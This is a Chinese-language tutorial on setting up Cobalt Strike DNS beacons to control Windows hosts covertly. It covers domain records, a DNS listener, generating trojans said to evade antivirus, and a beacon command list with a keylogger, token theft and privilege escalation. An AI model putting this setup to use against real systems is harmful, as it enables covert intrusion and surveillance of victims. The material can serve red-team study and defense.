通过DNS隧道来控制Meterpreter

通过DNS来控制目标和渗透好处不用多说吧?大家都知道,不开端口,能绕过大部分防火墙,隐蔽性好等等。Cobalt Strike有个beacons的功能,它可以通过DNS,HTTP,SMB来传输数据,下面我以DNS为例演示下。
1.域名设置
首先我们的有个域名,并且创建一条A记录指向我们的metasploit服务器,记住不要用CDN什么的
然后再创建2个或3个ns记录指向刚才创建的A记录
这样我们就可以通过dns找到我们的metasploit服务器了
2.Cobalt Strike设置
在Cobalt Strike中我们添加一个listener
HOST填写的是metasplit服务的IP,在点击Save的时候会要求填写你的NS记录,这里写入我们刚才创建的3个
监听我们设置好了,接下来创建一个木马测试下。
3.  木马生成
在attack->packages中找到windows木马生成
Listener选择我们刚才创建的(有两个,选择有DNS的那个),输出的有exe,带服务的EXE,dll等。(我测试过连接方式以DNS生成的DLL木马能过掉很大一部分杀毒软件)
我们把生成的DNS.EXE放到虚拟机中运行。
运行前的端口情况
运行后的端口情况
没有开新的端口,在来抓包看看
走的是DNS
回到Cobalt Strike打开beacons管理器发现有一个服务端响应了我们
右键是管理菜单,选择sleep设置相应的时间,然后选择interact来到操作界面
首先来设置的是传输的模式,有dns、dns-txt,http,smb四种,我们这里用的是DNS就在dns、dns-txt中选择把,前者传送的数据小后者传送的数据多
这里我设置为 mode dns-txt(这里可以用TAB补齐命令的)
键入help可以看到支持的命令

 

Command                   Description
——-                   ———–
bypassuac                 Spawn a session in a high integrity process
cd                        Change directory
checkin                   Call home and post data
clear                     Clear beacon queue
download                  Download a file
execute                   Execute a program on target
exit                      Terminate the beacon session
getsystem                 Attempt to get SYSTEM
getuid                    Get User ID
help                      Help menu
inject                    Spawn a session in a specific process
keylogger start           Start the keystroke logger
keylogger stop            Stop the keystroke logger
message                   Display a message to user on desktop
meterpreter               Spawn a Meterpreter session
link                      Connect to a Beacon peer over SMB
mode dns                  Use DNS A as data channel (DNS beacon only)
mode dns-txt              Use DNS TXT as data channel (DNS beacon only)
mode http                 Use HTTP as data channel
mode smb                  Use SMB peer-to-peer communication
rev2self                  Revert to original token
shell                     Execute a command via cmd.exe
sleep                     Set beacon sleep time
socks                     Start SOCKS4a server to relay traffic
socks stop                Stop SOCKS4a server
spawn                     Spawn a session
spawnto                   Set executable to spawn processes into
steal_token               Steal access token from a process
task                      Download and execute a file from a URL
timestomp                 Apply timestamps from one file to another
unlink                    Disconnect from parent Beacon
upload                    Upload a file

 

这里就演示几个常用的命令把
Getuid  获取当前用户
Execute  运行可执行程序(不能执行shell命令)

 

Shell  执行shell命令
Meterpreter  返回一个meterpreter回话

 

剩下的命令就等大家自己去看吧
这东西好处在于比较对控制目标主机比较隐蔽,缺点在每次的命令我返回结果比较慢,在过防火墙方面还是不错的。
[via@drops]